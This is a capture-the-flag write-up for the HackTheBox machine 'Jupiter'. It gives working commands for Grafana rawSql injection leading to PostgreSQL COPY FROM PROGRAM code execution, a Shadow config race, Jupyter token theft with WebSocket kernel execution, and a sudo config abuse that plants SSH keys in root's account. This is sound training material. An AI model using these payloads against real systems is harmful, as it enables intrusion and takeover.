HTB: Jupiter Writeup
Jupiter - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Jupiter |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | jupiter.htb / kiosk.jupiter.htb |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Jupiter chains an over-privileged Grafana/PostgreSQL data source into a three-hop lateral movement path before landing root through a sudo-permitted satellite-tracking utility. The entry point isn’t a CVE — it’s a PostgreSQL role (grafana_viewer) that reports is_superuser=on, which turns Grafana’s rawSql query proxy into unauthenticated RCE. From there, a world-writable config file for the Shadow network simulator provides a race-condition path to a second user, and a group-readable Jupyter Notebook log leaks a session token for a third. Root falls to a sudo binary that trusts a JSON config file to decide both a destination directory and a source URL scheme.
TL;DR: Grafana kiosk.jupiter.htb unauthenticated rawSql injection (grafana_viewer role with is_superuser=on) → COPY ... FROM PROGRAM RCE → shell as postgres → race /dev/shm/network-simulation.yml under the Shadow simulator → SSH as juno (user.txt) → leaked Jupyter Notebook token in group-readable logs → kernel RCE over WebSocket → SSH as jovian → sudo NOPASSWD /usr/local/bin/sattrack config-driven arbitrary file write → authorized_keys in /root/.ssh → root (root.txt).
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- jupiter.htbResults:
22/tcp— OpenSSH80/tcp— nginx, redirecting to the virtual hostjupiter.htb
Service Enumeration
The top-level jupiter.htb vhost is a generic landing page. Fuzzing for additional virtual hosts against the nginx server surfaces a second one:
# vhost fuzz against the base domain, filtering the default-vhost response size/redirectffuf -u http://jupiter.htb/ -H 'Host: FUZZ.jupiter.htb' \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -mc all -fc 301This resolves kiosk.jupiter.htb, which serves a Grafana 9.5.2 instance running in kiosk/dashboard mode. Browser devtools on the dashboard show recurring XHR calls to /api/ds/query — Grafana’s data-source query proxy — carrying a postgres-type payload with a fixed data source uid: YItSLg-Vz.
Vulnerability Assessment
/api/ds/queryis reachable without authentication in kiosk mode and forwards a client-suppliedrawSqlstring straight to the configured PostgreSQL data source — no query is validated or restricted server-side.- Querying
current_user/is_superuserthrough that proxy returnsgrafana_viewer/is_superuser=on. The application role is read-only, but the database role behind it is a full superuser — this is a PostgreSQL privilege misconfiguration, not a patched Grafana CVE, and it’s exactly what makesCOPY FROM PROGRAMusable for RCE.
Initial Foothold
Exploitation Path — Grafana → PostgreSQL RCE
With confirmed superuser rights reachable through the query proxy, PostgreSQL’s COPY ... FROM PROGRAM extension turns arbitrary SQL into arbitrary shell execution — this only works because the connecting role is a superuser, which is precisely the misconfiguration flagged above:
# rawSql is sent as JSON to the datasource proxy; the uid pins it to the vulnerable postgres sourcecurl -s 'http://kiosk.jupiter.htb/api/ds/query' \ -H 'Content-Type: application/json' \ --data '{ "queries": [{ "refId": "A", "datasource": {"type": "postgres", "uid": "YItSLg-Vz"}, "rawSql": "DROP TABLE IF EXISTS cx; CREATE TABLE cx(o text); COPY cx FROM PROGRAM '\''id'\''; SELECT * FROM cx;", "format": "table" }] }'Swapping the PROGRAM argument for a reverse-shell one-liner turns this into an interactive shell as postgres@jupiter.
Lateral Movement — postgres → juno (Shadow race)
Enumeration from the postgres shell turns up /dev/shm/network-simulation.yml, a config file for Shadow (a network-simulation framework for testing networked applications), which is world-writable and re-executed by juno on a roughly 2-minute cycle. The catch: the script resets/regenerates the file on each run, so a single overwrite loses the race — the payload has to be re-written in a tight loop to land inside the narrow window before Shadow reads it.
Shadow’s process model also matters: each processes: entry execve()s a single named binary directly with a fixed argv — there’s no shell in the middle, so a bash -c '...' payload is inert (no interpreter to parse it). The fix is to express the payload as two single-binary host entries instead of one shell command:
# each host process is a direct execve() of ONE binary — no shell, no pipes, no &&hosts: client: processes: - path: /usr/bin/mkdir args: "-p /home/juno/.ssh" - path: /usr/bin/cp args: "/dev/shm/authorized_keys /home/juno/.ssh/authorized_keys"Winning the race against the reset loop drops an attacker-controlled key into /home/juno/.ssh/authorized_keys, giving direct SSH access as juno.
Lateral Movement — juno → jovian (leaked Jupyter token)
juno belongs to the science group, which owns /opt/solar-flares/logs/. Jupyter Notebook writes its access token into the URL of every logged request, and these log files are group-readable:
grep -oE 'token=[a-f0-9]+' /opt/solar-flares/logs/*.log | sort -uBecause tokens rotate across server restarts, the log contains multiple stale candidates alongside the current one — each has to be tested live against the running instance (forwarded locally) rather than assumed valid:
ssh -L 8888:127.0.0.1:8888 juno@jupiter.htb # tunnel to the internal Jupyter servicecurl -s 'http://127.0.0.1:8888/api/kernels?token=<candidate>'Once a working token is confirmed, driving a kernel directly over Jupyter’s WebSocket API (rather than the notebook UI) executes Python as jovian:
# open a kernel, send an execute_request over the websocket, install an SSH key as jovianimport websocket, json, uuid
ws = websocket.create_connection( f"ws://127.0.0.1:8888/api/kernels/{kernel_id}/channels?token={token}")msg_id = str(uuid.uuid4())ws.send(json.dumps({ "header": {"msg_id": msg_id, "msg_type": "execute_request", "username": "", "session": ""}, "parent_header": {}, "metadata": {}, "channel": "shell", "content": {"code": ( "import os; os.makedirs('/home/jovian/.ssh', exist_ok=True); " "open('/home/jovian/.ssh/authorized_keys','a').write('<attacker_pubkey>\\n')" ), "silent": False}}))This yields SSH access as jovian.
cat /home/juno/user.txt# <redacted>Privilege Escalation
sudo -l as jovian shows a single NOPASSWD entry:
(root) NOPASSWD: /usr/local/bin/sattracksattrack is a satellite-tracking utility that reads /tmp/config.json, then for every entry in tlesources fetches the resource and writes it into tleroot, naming the output file after the basename of the source. Both tleroot (destination directory) and each tlesource (source location, including its URL scheme) are attacker-controlled via the config file the binary trusts:
{ "tleroot": "/root/.ssh/", "tlefile": "weather.txt", "mapfile": "/usr/local/share/sattrack/map.json", "texturefile": "/usr/local/share/sattrack/earth.png", "tlesources": [ "file:///home/jovian/.ssh/authorized_keys" ]}By pointing tleroot at /root/.ssh/ and switching the source scheme from http:// to file://, sattrack — running as root via sudo — copies jovian’s authorized_keys file into /root/.ssh/authorized_keys under its own basename, an arbitrary-file-write primitive that lands directly in root’s SSH trust store:
sudo /usr/local/bin/sattrackssh -i ~/.ssh/id_rsa root@jupiter.htbcat /root/root.txt# <redacted>Attack Chain Summary
Grafana kiosk.jupiter.htb (unauthenticated) → unauthenticated /api/ds/query rawSql injection (grafana_viewer, is_superuser=on) → COPY ... FROM PROGRAM → RCE as postgres → race /dev/shm/network-simulation.yml (Shadow sim, single-binary argv payload) → SSH as juno (user.txt) → leaked Jupyter Notebook token in group-science log files → kernel RCE over WebSocket → SSH as jovian → sudo NOPASSWD /usr/local/bin/sattrack, config.json tleroot/tlesource (file://) arbitrary write → authorized_keys planted in /root/.ssh → root (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
HTTP vhost fuzzer (e.g. ffuf) | Discovering the kiosk.jupiter.htb virtual host |
curl / Grafana /api/ds/query | Manual rawSql injection against the PostgreSQL datasource |
PostgreSQL COPY ... FROM PROGRAM | RCE primitive from a superuser DB role |
| Shadow network simulator (abused config) | Race-condition lateral movement to juno |
ssh-keygen / SSH | Key-based access at each hop |
Jupyter kernel WebSocket API (websocket-client) | Remote code execution as jovian |
sudo sattrack + config.json | Config-driven arbitrary file write to root |
Key Learnings
Techniques Practiced
- Identifying unauthenticated backend API access hidden behind an app’s “view-only” front end
- PostgreSQL
COPY FROM PROGRAMRCE via an over-privileged DB role - Winning a race condition against a periodically-reset config file
- Constructing shell-free, single-binary payloads for restrictive process-exec environments (Shadow)
- Harvesting credentials/tokens from group-readable historical log files
- Driving RCE through a Jupyter kernel’s WebSocket protocol directly
- Abusing a sudo-permitted binary’s config file to control both write destination and read source
Lessons Learned
- A “kiosk mode” or read-only dashboard UI is not a security boundary if the backend query API it calls doesn’t enforce the same restriction.
- Application-level roles (Grafana’s
grafana_viewer) and database-level roles are separate trust boundaries — always check the actual DB privileges (is_superuser), not just the app’s RBAC label. - A world-writable automation config is a viable privesc path even when the file gets reset on every run — treat “it gets overwritten” as a race window, not a mitigation.
- Sandboxed/simulated execution environments that
execve()binaries directly (no shell) require argv-shaped payloads — standardbash -creverse shells silently fail there. - Log files can leak live credentials well past their apparent freshness — validate every candidate against the running service instead of trusting the most recent line.
- Any sudo-permitted binary that reads an attacker-writable config file should be treated as a potential arbitrary file read/write primitive — check every path and URL-scheme field it consumes.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: Jupiter (Document No. D23.100.241), prepared by ctrlzero, machine authored by mto — HackTheBox Ltd, June 2023. Used only for explanatory context on the PostgreSQL RCE technique and the sudo-binary config abuse; all IPs, commands, and specifics above are from this solve’s own run.